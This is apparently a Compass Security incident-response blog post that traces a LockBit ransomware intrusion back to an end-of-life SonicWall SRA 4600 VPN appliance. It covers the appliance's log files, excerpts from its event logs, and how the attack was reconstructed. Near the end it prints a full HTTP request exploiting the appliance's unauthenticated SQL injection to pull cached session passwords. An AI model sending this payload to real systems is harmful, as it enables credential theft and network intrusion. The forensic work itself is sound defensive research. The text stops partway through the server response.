# VPN Appliance Forensics **[blog.compass-security.com/2022/03/vpn-appliance-forensics/](https://blog.compass-security.com/2022/03/vpn-appliance-forensics/)** Benjamin Bruppacher During a DFIR (Digital Forensics and Incident Response) Case, we encountered an ESXi Hypervisor that was encrypted by the Ransomware LockBit 2.0. Suspicious SSH logons on the Hypervisor originated from an End-of-Life VPN Appliance (SonicWall SRA 4600). It turns out, this was the initial entry point for the Ransomware attack. Follow us into the forensics analysis of this compromised device. ## Finding the Logs After isolating the VPN Appliance from the Internet and from the internal Network, the customer gave us the credentials for the web based administration interface. Unfortunately, all log listings in the graphical interfaces were almost empty: ----- After sifting through all the available features, we found an interesting Tech Support Report feature under System > Diagnostics: The feature downloads a ZIP file containing interesting logs of the system and an export of its configuration: ----- ``` status.txt persist.db.log.1 mcd.log.1 eventlog.1 geoBotD.log.1 tunneld.conf tunneld.log vmctl.log wafStats.db.log smtp.conf sonicfiles.log sso_proxy.log temp.db.log settings.json smm.log mcd.log nxlog.log persist.db.log kernel.log logrotate.conf logrotateVA.conf httpd.log httpd.log.1 geoBotD.log ha.log html5Client.log examples.db.log firebase.conf firebase.log ftpd.log dhcpc.log dtls.log eventlog boot.log clientsDownload.log ``` These logs hold very valuable information, if and only if the system was not shut down. The following files in particular were of interest: ## eventlog The `eventlog records successful and failed logins on both the VPN and the web interface.` The following information is also recorded: timestamp username source IP address ----- ``` Nov 26 11:26:26 sslvpn SSLVPN: id sslvpn sn [CUT BY COMPASS] time 2021 11 26 09:26:26" vp_time="2021-11-26 09:26:26 UTC" fw=10.100.132.2 pri=5 m=1 c=1 src=[CUTBY-COMPASS] dst=[CUT-BY-COMPASS] user="xyz" usr="xyz" msg="User login successful" portal="VirtualOffice" domain="[CUT-BY-COMPASS]" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36" Nov 26 11:28:02 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:28:02" vp_time="2021-11-26 09:28:02 UTC" fw=10.100.132.2 pri=5 m=1 c=1 src=[CUTBY-COMPASS] dst=[CUT-BY-COMPASS] user="xyz" usr="xyz" msg="User login successful" portal="VirtualOffice" domain="[CUT-BY-COMPASS]" agent="SonicWALL NetExtender for Windows 10.2.315 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1)" Nov 26 11:28:05 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:28:05" vp_time="2021-11-26 09:28:05 UTC" fw=10.100.132.2 pri=5 m=0 c=1200 src= [CUT-BY-COMPASS] dst=10.100.132.2 user="xyz" usr="xyz" msg="Start NetExtender connection" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" Nov 26 11:28:05 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:28:05" vp_time="2021-11-26 09:28:05 UTC" fw=10.100.132.2 pri=5 m=0 c=1200 src= [CUT-BY-COMPASS] dst=10.100.132.2 user="Proxy" usr="Proxy" msg="23717:Returning 200 OK Status" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" Nov 26 11:28:06 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:28:06" vp_time="2021-11-26 09:28:06 UTC" fw=10.100.132.2 pri=5 m=18 c=101 src= [CUT-BY-COMPASS] dst=[CUT-BY-COMPASS] user="xyz" usr="xyz" msg="NetExtender connected" rule=access-policy proto=NetExtender agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" Nov 27 11:07:39 sslvpn SSLVPN: id=sslvpn sn=C0EAE4915E4C time="2021-11-27 10:07:39" vp_time="2021-11-27 10:07:39 UTC" fw=10.100.132.2 pri=5 m=3 c=3 src=10.100.132.55 dst=10.100.132.2 user="asd" usr="asd" msg="Login failed - Incorrect username/password" agent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0" Nov 27 11:35:43 sslvpn SSLVPN: id=sslvpn sn=C0EAE4915E4C time="2021-11-27 10:35:43" vp_time="2021-11-27 10:35:43 UTC" fw=10.100.132.2 pri=5 m=1 c=1 src=10.100.132.55 dst=10.100.132.2 user="admin" usr="admin" msg="User login successful" portal="VirtualOffice" domain="LocalDomain" agent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0" ## mcd.log ``` The `mcd.log records successful VPN connections. The following information is also` recorded: assigned IP address from the VPN IP address pool username source IP address from where the connection was established ``` 2021-11-26 09:28:06:mcd 23888: MCD launched [RIP:10.100.132.100;UNAME:xyz;CIP:[CUTBY-COMPASS]] 2021-11-26 09:28:08:mcd 23888: SSL VPN: Connected 2021-11-26 10:11:08:mcd 23888: Signal Recd (2). Exiting... 2021-11-26 10:11:08:mcd 23888: Cleaned up routes and proxy arp 2021-11-26 10:11:08:mcd 23888: NxSession sync'd up 2021-11-26 10:11:08:mcd 23888: Stat files cleaned up 2021-11-26 10:11:08:mcd 23888: MCD shutdown. ``` ----- This log went back to the last start of the system, therefore giving a very long audit trail. ## httpd.log The `httpd.log records requests to the web server. This included traces of used exploit` techniques. We will now dive into these. ## Reconstructing the Attack Through analysis of the event logs, suspicious logons could be identified. The source IP address was located in countries where the customer had no employees and the logon times were unusual and matched with the Ransomware attack. However, it was at first not clear if the attacker obtained credentials through phishing or through a vulnerability in the VPN appliance. The appliance was not on the company’s inventory and therefore they were not aware that an EOL device was running in their network. Hence we searched online to see if there were known flaws in this particular firmware version. ## Unauthenticated SQL Injection The used firmware was vulnerable to an unauthenticated SQL injection, that allows to read cached credentials of active sessions from the database. For more information about this [issues, check the writeup by Crowdstrike. SonicWall issued a patch for this issue. However,](https://www.crowdstrike.com/blog/how-ecrime-groups-leverage-sonicwall-vulnerability-cve-2019-7481/) because the SRA 4600 appliance is considered End-of-Life, no Firmware upgrade was released for the device. The leaked cached credentials are plaintext VPN user passwords, encrypted with a key that is hardcoded in the appliances firmware. The following request was crafted based on the vulnerability writeup. It allowed us to test the exploitability against the SRA appliance: ``` POST /cgi-bin/supportInstaller HTTP/1.1 Host: 10.100.132.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 126 fromEmailInvite=1&customerTID="impossible'+UNION+SELECT+0,0,userType,userName,0,passwo -" ``` ----- If there is a session on the device, the encrypted password is returned in the supportcode JavaScript variable: ``` HTTP/1.1 200 OK Date: Fri, 26 Nov 2021 14:40:21 GMT Server: SonicWALL SSL-VPN Web Server X-FRAME-OPTIONS: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Security-Policy: script-src https://*.duosecurity.com 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline' Referrer-Policy: strict-origin X-Content-Type-Options: nosniff Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 3141 [CUT BY COMPASS}